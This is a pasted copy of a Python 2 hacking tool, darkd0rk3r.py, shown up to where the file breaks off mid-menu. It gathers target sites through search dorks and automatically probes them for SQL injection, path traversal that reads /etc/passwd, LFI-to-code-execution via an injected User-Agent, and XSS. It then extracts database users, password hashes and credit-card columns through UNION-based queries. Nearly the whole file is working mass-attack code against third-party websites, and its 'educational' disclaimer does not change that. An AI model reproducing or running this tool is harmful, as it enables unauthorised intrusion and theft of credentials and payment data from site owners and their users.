darkd0rk3r.py v.1.0

From baltazar a.k.a b4ltazar, 3 Years ago, written in Python, viewed 1'326 times.
URL http://paste.security-portal.cz/view/13713b7a Embed
Download Paste or View Raw
  1. #!/usr/bin/python
  2. # This was written for educational purpose and pentest only. Use it at your own risk.
  3. # Author will be not responsible for any damage!
  4. # !!! Special greetz for my friend sinner_01 !!!
  5. # Toolname        : darkd0rk3r.py
  6. # Coder           : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
  7. # Version         : 1.0
  8. # greetz for all members of ex darkc0de.com, ljuska.org
  9. #
  10.  
  11. import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
  12. from random import choice
  13.  
  14. # Colours
  15. W  = "33[0m";
  16. R  = "33[31m";
  17. G  = "33[32m";
  18. O  = "33[33m";
  19. B  = "33[34m";
  20.  
  21. # Banner
  22. def logo():
  23.         print R+"n|---------------------------------------------------------------|"
  24.         print "| b4ltazar[@]gmail[dot]com                                      |"
  25.         print "|   09/2012     darkd0rk3r.py  v.1.0                            |"
  26.         print "|              b4ltazar.us                                      |"
  27.         print "|                                                               |"
  28.         print "|---------------------------------------------------------------|n"
  29.         print W
  30.  
  31. if sys.platform == 'linux' or sys.platform == 'linux2':
  32.   subprocess.call("clear", shell=True)
  33.   logo()
  34.  
  35. else:
  36.   subprocess.call("cls", shell=True)
  37.   logo()
  38.  
  39. log = "darkd0rk3r-sqli.txt"
  40. logfile = open(log, "a")
  41. lfi_log = "darkd0rk3r-lfi.txt"
  42. lfi_log_file = open(lfi_log, "a")
  43. rce_log = "darkd0rk3r-rce.txt"
  44. rce_log_file = open(rce_log, "a")
  45. xss_log = "darkd0rk3r-xss.txt"
  46. xss_log_file = open(xss_log, "a")
  47.  
  48. threads = []
  49. finallist = []
  50. vuln = []
  51. col = []
  52. darkurl = []
  53. arg_end = "--"
  54. arg_eva = "+"
  55. colMax = 10 # Change this at your will
  56. gets = 0
  57. file = "/etc/passwd"
  58. timeout = 60
  59. socket.setdefaulttimeout(timeout)
  60.  
  61. lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
  62.  
  63. xsses = ["<h1>XSS by baltazar</h1>","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E"]
  64.  
  65. tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin']
  66.  
  67. columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'korisnicko', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']
  68.  
  69. sqlerrors = {'MySQL': 'error in your SQL syntax',
  70.              'MiscError': 'mysql_fetch',
  71.              'MiscError2': 'num_rows',
  72.              'Oracle': 'ORA-01756',
  73.              'JDBC_CFM': 'Error Executing Database Query',
  74.              'JDBC_CFM2': 'SQLServer JDBC Driver',
  75.              'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
  76.              'MSSQL_Uqm': 'Unclosed quotation mark',
  77.              'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
  78.              'MS-Access_JETdb': 'Microsoft JET Database',
  79.              'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
  80.              'Server Error' : 'Server Error',
  81.              'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
  82.              'Invalid Querystring' : 'Invalid Querystring',
  83.              'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
  84.              'VBScript Runtime' : 'VBScript Runtime',
  85.              'ADODB.Field' : 'ADODB.Field',
  86.              'BOF or EOF' : 'BOF or EOF',
  87.              'ADODB.Command' : 'ADODB.Command',
  88.              'JET Database' : 'JET Database',
  89.              'mysql_fetch_array()' : 'mysql_fetch_array()',
  90.              'Syntax error' : 'Syntax error',
  91.              'mysql_numrows()' : 'mysql_numrows()',
  92.              'GetArray()' : 'GetArray()',
  93.              'FetchRow()' : 'FetchRow()',
  94.              'Input string was not in a correct format' : 'Input string was not in a correct format'}
  95.  
  96. header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  97.           'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  98.           'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  99.           'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  100.           'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  101.           'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  102.           'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  103.           'Opera/8.00 (Windows NT 5.1; U; en)',
  104.           'amaya/9.51 libwww/5.4.0',
  105.           'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  106.           'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  107.           'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  108.           'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  109.           'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  110.           'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
  111.  
  112. domains = {'All domains':['ac', 'ad', 'ae', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
  113.            'aq', 'ar', 'as', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb',
  114.            'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', 'bo',
  115.            'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd',
  116.            'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr',
  117.            'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do',
  118.            'dz', 'ec', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi',
  119.            'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf',
  120.            'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'gs',
  121.            'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu',
  122.            'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it',
  123.            'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn',
  124.            'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk',
  125.            'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me',
  126.            'mg', 'mh', 'mk', 'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr',
  127.            'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'nc',
  128.            'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz',
  129.            'om', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn',
  130.            'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru',
  131.            'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj',
  132.            'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy',
  133.            'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm',
  134.            'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug',
  135.            'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi',
  136.            'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'za', 'zm', 'zw', 'com',
  137.            'net', 'org','biz', 'gov', 'mil', 'edu', 'info', 'int', 'tel',
  138.            'name', 'aero', 'asia', 'cat', 'coop', 'jobs', 'mobi', 'museum',
  139.            'pro', 'travel'],'Balcan':['al', 'bg', 'ro', 'gr', 'rs', 'hr',
  140.            'tr', 'ba', 'mk', 'mv', 'me'],'TLD':['xxx','edu', 'gov', 'mil',
  141.            'biz', 'cat', 'com', 'int','net', 'org', 'pro', 'tel', 'aero', 'asia',
  142.            'coop', 'info', 'jobs', 'mobi', 'name', 'museum', 'travel']}
  143.  
  144. def search(inurl, maxc):
  145.   urls = []
  146.   for site in sitearray:
  147.     page = 0
  148.     try:
  149.       while page < int(maxc):
  150.         jar = cookielib.FileCookieJar("cookies")
  151.         query = inurl+"+site:"+site
  152.         results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp'
  153.         request_web =urllib2.Request(results_web)
  154.         agent = random.choice(header)
  155.         request_web.add_header('User-Agent', agent)
  156.         opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  157.         text = opener_web.open(request_web).read()
  158.         stringreg = re.compile('(?<=href=")(.*?)(?=")')
  159.         names = stringreg.findall(text)
  160.         page += 1
  161.         for name in names:
  162.           if name not in urls:
  163.             if re.search(r'(',name) or re.search("<", name) or re.search("A/", name) or re.search("A(http://)d", name):
  164.               pass
  165.             elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name):
  166.               pass
  167.             else:
  168.               urls.append(name)
  169.         percent = int((1.0*page/int(maxc))*100)
  170.         urls_len = len(urls)
  171.         sys.stdout.write("rSite: %s | Collected urls: %s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),repr(percent),repr(page)))
  172.         sys.stdout.flush()
  173.     except(KeyboardInterrupt):
  174.       pass
  175.   tmplist = []
  176.   print "nn[+] URLS (unsorted): ",len(urls)
  177.   for url in urls:
  178.     try:
  179.       host = url.split("/",3)
  180.       domain = host[2]
  181.       if domain not in tmplist and "=" in url:
  182.         finallist.append(url)
  183.         tmplist.append(domain)
  184.  
  185.     except:
  186.       pass
  187.   print "[+] URLS (sorted)  : ",len(finallist)
  188.   return finallist
  189.  
  190. class injThread(threading.Thread):
  191.         def __init__(self,hosts):
  192.                 self.hosts=hosts
  193.                 self.fcount = 0
  194.                 self.check = True
  195.                 threading.Thread.__init__(self)
  196.  
  197.         def run (self):
  198.                 urls = list(self.hosts)
  199.                 for url in urls:
  200.                         try:
  201.                                 if self.check == True:
  202.                                         ClassicINJ(url)
  203.                                 else:
  204.                                         break
  205.                         except(KeyboardInterrupt,ValueError):
  206.                                 pass
  207.                 self.fcount+=1
  208.  
  209.         def stop(self):
  210.                 self.check = False
  211.  
  212. class lfiThread(threading.Thread):
  213.         def __init__(self,hosts):
  214.                 self.hosts=hosts
  215.                 self.fcount = 0
  216.                 self.check = True
  217.                 threading.Thread.__init__(self)
  218.  
  219.         def run (self):
  220.                 urls = list(self.hosts)
  221.                 for url in urls:
  222.                         try:
  223.                                 if self.check == True:
  224.                                         ClassicLFI(url)
  225.                                 else:
  226.                                         break
  227.                         except(KeyboardInterrupt,ValueError):
  228.                                 pass
  229.                 self.fcount+=1
  230.  
  231.         def stop(self):
  232.                 self.check = False
  233.  
  234. class xssThread(threading.Thread):
  235.         def __init__(self,hosts):
  236.                 self.hosts=hosts
  237.                 self.fcount = 0
  238.                 self.check = True
  239.                 threading.Thread.__init__(self)
  240.  
  241.         def run (self):
  242.                 urls = list(self.hosts)
  243.                 for url in urls:
  244.                         try:
  245.                                 if self.check == True:
  246.                                         ClassicXSS(url)
  247.                                 else:
  248.                                         break
  249.                         except(KeyboardInterrupt,ValueError):
  250.                                 pass
  251.                 self.fcount+=1
  252.  
  253.         def stop(self):
  254.                 self.check = False
  255.  
  256. def ClassicINJ(url):
  257.         EXT = "'"
  258.         host = url+EXT
  259.         try:
  260.                 source = urllib2.urlopen(host).read()
  261.                 for type,eMSG in sqlerrors.items():
  262.                         if re.search(eMSG, source):
  263.                                 print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found"
  264.                                 logfile.write("n"+host)
  265.                                 vuln.append(host)
  266.                                 col.append(host)
  267.                                 break
  268.  
  269.                         else:
  270.                                 pass
  271.         except:
  272.                 pass
  273.  
  274. def ClassicLFI(url):
  275.   lfiurl = url.rsplit('=', 1)[0]
  276.   if lfiurl[-1] != "=":
  277.     lfiurl = lfiurl + "="
  278.   for lfi in lfis:
  279.     try:
  280.       check = urllib2.urlopen(lfiurl+lfi.replace("n", "")).read()
  281.       if re.findall("root:x", check):
  282.         print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found"
  283.         lfi_log_file.write("n"+lfiurl+lfi)
  284.         vuln.append(lfiurl+lfi)
  285.         target = lfiurl+lfi
  286.         target = target.replace("/etc/passwd","/proc/self/environ")
  287.         header = "<? echo md5(baltazar); ?>"
  288.         try:
  289.           request_web = urllib2.Request(target)
  290.           request_web.add_header('User-Agent', header)
  291.           text = urllib2.urlopen(request_web)
  292.           text = text.read()
  293.           if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text):
  294.             print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found"
  295.             rce_log_file.write("n",target)
  296.             vuln.append(target)
  297.         except:
  298.           pass
  299.  
  300.     except:
  301.       pass
  302.  
  303. def ClassicXSS(url):
  304.   for xss in xsses:
  305.     try:
  306.       source = urllib2.urlopen(url+xss.replace("n","")).read()
  307.       if re.findall("XSS by baltazar", source):
  308.         print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)"
  309.         xss_log_file.write("n"+url+xss)
  310.         vuln.append(url+xss)
  311.     except:
  312.       pass
  313.  
  314. def injtest():
  315.   print B+"n[+] Preparing for SQLi scanning ..."
  316.   print "[+] Can take a while ..."
  317.   print "[!] Working ...n"
  318.   i = len(usearch) / int(numthreads)
  319.   m = len(usearch) % int(numthreads)
  320.   z = 0
  321.   if len(threads) <= numthreads:
  322.     for x in range(0, int(numthreads)):
  323.       sliced = usearch[x*i:(x+1)*i]
  324.       if (z<m):
  325.         sliced.append(usearch[int(numthreads)*i+z])
  326.         z +=1
  327.       thread = injThread(sliced)
  328.       thread.start()
  329.       threads.append(thread)
  330.     for thread in threads:
  331.       thread.join()
  332.  
  333. def lfitest():
  334.   print B+"n[+] Preparing for LFI - RCE scanning ..."
  335.   print "[+] Can take a while ..."
  336.   print "[!] Working ...n"
  337.   i = len(usearch) / int(numthreads)
  338.   m = len(usearch) % int(numthreads)
  339.   z = 0
  340.   if len(threads) <= numthreads:
  341.     for x in range(0, int(numthreads)):
  342.       sliced = usearch[x*i:(x+1)*i]
  343.       if (z<m):
  344.         sliced.append(usearch[int(numthreads)*i+z])
  345.         z +=1
  346.       thread = lfiThread(sliced)
  347.       thread.start()
  348.       threads.append(thread)
  349.     for thread in threads:
  350.       thread.join()
  351.  
  352. def xsstest():
  353.   print B+"n[+] Preparing for XSS scanning ..."
  354.   print "[+] Can take a while ..."
  355.   print "[!] Working ...n"
  356.   i = len(usearch) / int(numthreads)
  357.   m = len(usearch) % int(numthreads)
  358.   z = 0
  359.   if len(threads) <= numthreads:
  360.     for x in range(0, int(numthreads)):
  361.       sliced = usearch[x*i:(x+1)*i]
  362.       if (z<m):
  363.         sliced.append(usearch[int(numthreads)*i+z])
  364.         z +=1
  365.       thread = xssThread(sliced)
  366.       thread.start()
  367.       threads.append(thread)
  368.     for thread in threads:
  369.       thread.join()
  370.  
  371. menu = True
  372. new = 1
  373. while menu == True:
  374.   if new == 1:
  375.     threads = []
  376.     finallist = []
  377.     vuln = []
  378.     col = []
  379.     darkurl = []
  380.  
  381.     stecnt = 0
  382.     for k,v in domains.items():
  383.       stecnt += 1
  384.       print str(stecnt)+" - "+k
  385.     sitekey = raw_input("nChoose your target   : ")
  386.     sitearray = domains[domains.keys()[int(sitekey)-1]]
  387.  
  388.     inurl = raw_input('nEnter your dork      : ')
  389.     numthreads = raw_input('Enter no. of threads : ')
  390.     maxc = raw_input('Enter no. of pages   : ')
  391.     print "nNumber of SQL errors :",len(sqlerrors)
  392.     print "Number of LFI paths  :",len(lfis)
  393.     print "Number of XSS cheats :",len(xsses)
  394.     print "Number of headers    :",len(header)
  395.     print "Number of threads    :",numthreads
  396.     print "Number of pages      :",maxc
  397.     print "Timeout in seconds   :",timeout
  398.     print ""
  399.  
  400.     usearch = search(inurl,maxc)
  401.     new = 0
  402.  
  403.   print R+"n[0] Exit"
  404.   print "[1] SQLi Testing"
  405.   print "[2] SQLi Testing Auto Mode"
  406.   print "[3] LFI - RCE Testing"
  407.   print "[4] XSS Testing"
  408.   print "[5] SQLi and LFI - RCE Testing"
  409.   print "[6] SQLi and XSS Testing"
  410.   print "[7] LFI - RCE and XSS Testing"
  411.   print "[8] SQLi,LFI - RCE and XSS Testing"
  412.   print "[9] Save valid urls to file"
  413.   print "[10] Print valid urls"
  414.   print "[11] Found vuln in last scan"
  415.   print "[12] New Scann"
  416.  
  417.   chce = raw_input(":")
  418.   if chce == '1':
  419.     injtest()
  420.  
  421.   if chce == '2':
  422.     injtest()
  423.     print B+"n[+] Preparing for Column Finder ..."
  424.     print "[+] Can take a while ..."
  425.     print "[!] Working ..."
  426.     # Thanks rsauron for schemafuzz
  427.     for host in col:
  428.       print R+"n[+] Target: ", O+host
  429.       print R+"[+] Attempting to find the number of columns ..."
  430.       print "[+] Testing: ",
  431.       checkfor = []
  432.       host = host.rsplit("'", 1)[0]
  433.       sitenew = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva
  434.       makepretty = ""
  435.       for x in xrange(0, colMax):
  436.         try:
  437.           sys.stdout.write("%s," % (x))
  438.           sys.stdout.flush()
  439.           darkc0de = "dark"+str(x)+"c0de"
  440.           checkfor.append(darkc0de)
  441.           if x > 0:
  442.             sitenew += ","
  443.           sitenew += "0x"+darkc0de.encode("hex")
  444.           finalurl = sitenew+arg_end
  445.           gets += 1
  446.           source = urllib2.urlopen(finalurl).read()
  447.           for y in checkfor:
  448.             colFound = re.findall(y, source)
  449.             if len(colFound) >= 1:
  450.               print "n[+] Column length is:", len(checkfor)
  451.               nullcol = re.findall(("d+"), y)
  452.               print "[+] Found null column at column #:", nullcol[0]
  453.               for z in xrange(0, len(checkfor)):
  454.                 if z > 0:
  455.                   makepretty += ","
  456.                 makepretty += str(z)
  457.               site = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva+makepretty
  458.               print "[+] SQLi URL:", site+arg_end
  459.               site = site.replace(","+nullcol[0]+",",",darkc0de,")
  460.               site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,")
  461.               site = site.replace(","+nullcol[0],",darkc0de")
  462.               print "[+] darkc0de URL:", site
  463.               darkurl.append(site)
  464.               print "[-] Done!n"
  465.               break
  466.  
  467.         except(KeyboardInterrupt, SystemExit):
  468.           raise
  469.         except:
  470.           pass
  471.  
  472.       print "n[!] Sorry column length could not be foundn"
  473.  
  474.       #########
  475.  
  476.     print B+"n[+] Gathering MySQL Server Configuration..."
  477.     for site in darkurl:
  478.       head_URL = site.replace("darkc0de", "concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
  479.       print R+"n[+] Target:", O+site
  480.       while 1:
  481.         try:
  482.           gets += 1
  483.           source = urllib2.urlopen(head_URL).read()
  484.           match = re.findall("x1ex1eS+", source)
  485.           if len(match) >= 1:
  486.             match = match[0][2:].split("x1e")
  487.             version = match[0]
  488.             user = match[1]
  489.             database = match[2]
  490.             print W+"ntDatabase:", database
  491.             print "tUser:", user
  492.             print "tVersion:", version
  493.             version = version[0]
  494.  
  495.             load = site.replace("darkc0de", "load_file(0x2f6574632f706173737764)")
  496.             source = urllib2.urlopen(load).read()
  497.             if re.findall("root:x", source):
  498.               load = site.replace("darkc0de","concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)")
  499.               source = urllib2.urlopen(load).read()
  500.               search = re.findall("baltazar",source)
  501.               if len(search) > 0:
  502.                 print "n[!] w00t!w00t!: "+site.replace("darkc0de", "load_file(0x"+file.encode("hex")+")")
  503.  
  504.             load = site.replace("dakrc0de", "concat_ws(char(58),user,password,0x62616c74617a6172)")+arg_eva+"from"+arg_eva+"mysql.user"
  505.             source = urllib2.urlopen(load).read()
  506.             if re.findall("baltazar", source):
  507.               print "n[!] w00t!w00t!: "+site.replace("darkc0de", "concat_ws(char(58),user,password)")+arg_eva+"from"+arg_eva+"mysql.user"
  508.  
  509.           print W+"n[+] Number of tables:",len(tables)
  510.           print "[+] Number of columns:",len(columns)
  511.           print "[+] Checking for tables and columns..."
  512.           target = site.replace("darkc0de", "0x62616c74617a6172")+arg_eva+"from"+arg_eva+"T"
  513.           for table in tables:
  514.             try:
  515.               target_table = target.replace("T", table)
  516.               source = urllib2.urlopen(target_table).read()
  517.               search = re.findall("baltazar", source)
  518.               if len(search) > 0:
  519.                 print "n[!] w00t!w00t! Found a table called: < "+table+" >"
  520.                 print "n[+] Lets check for columns inside table < "+table+" >"
  521.                 for column in columns:
  522.                   try:
  523.                     source = urllib2.urlopen(target_table.replace("0x62616c74617a6172", "concat_ws(char(58),0x62616c74617a6172,"+column+")")).read()
  524.                     search = re.findall("baltazar", source)
  525.                     if len(search) > 0:
  526.                       print "t[!] w00t!w00t! Found a column called: < "+column+" >"
  527.                   except(KeyboardInterrupt, SystemExit):
  528.                     raise
  529.                   except(urllib2.URLErrr, socket.gaierror, socket.error, socket.timeout):
  530.                     pass
  531.  
  532.                 print "n[-] Done searching inside table < "+table+" > for columns!"
  533.  
  534.             except(KeyboardInterrupt, SystemExit):
  535.               raise
  536.             except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
  537.               pass
  538.           print "[!] Fuzzing is finished!"
  539.           break
  540.         except(KeyboardInterrupt, SystemExit):
  541.           raise
  542.  
  543.   if chce == '3':
  544.     lfitest()
  545.  
  546.   if chce == '4':
  547.     xsstest()
  548.  
  549.   if chce == '5':
  550.     injtest()
  551.     lfitest()
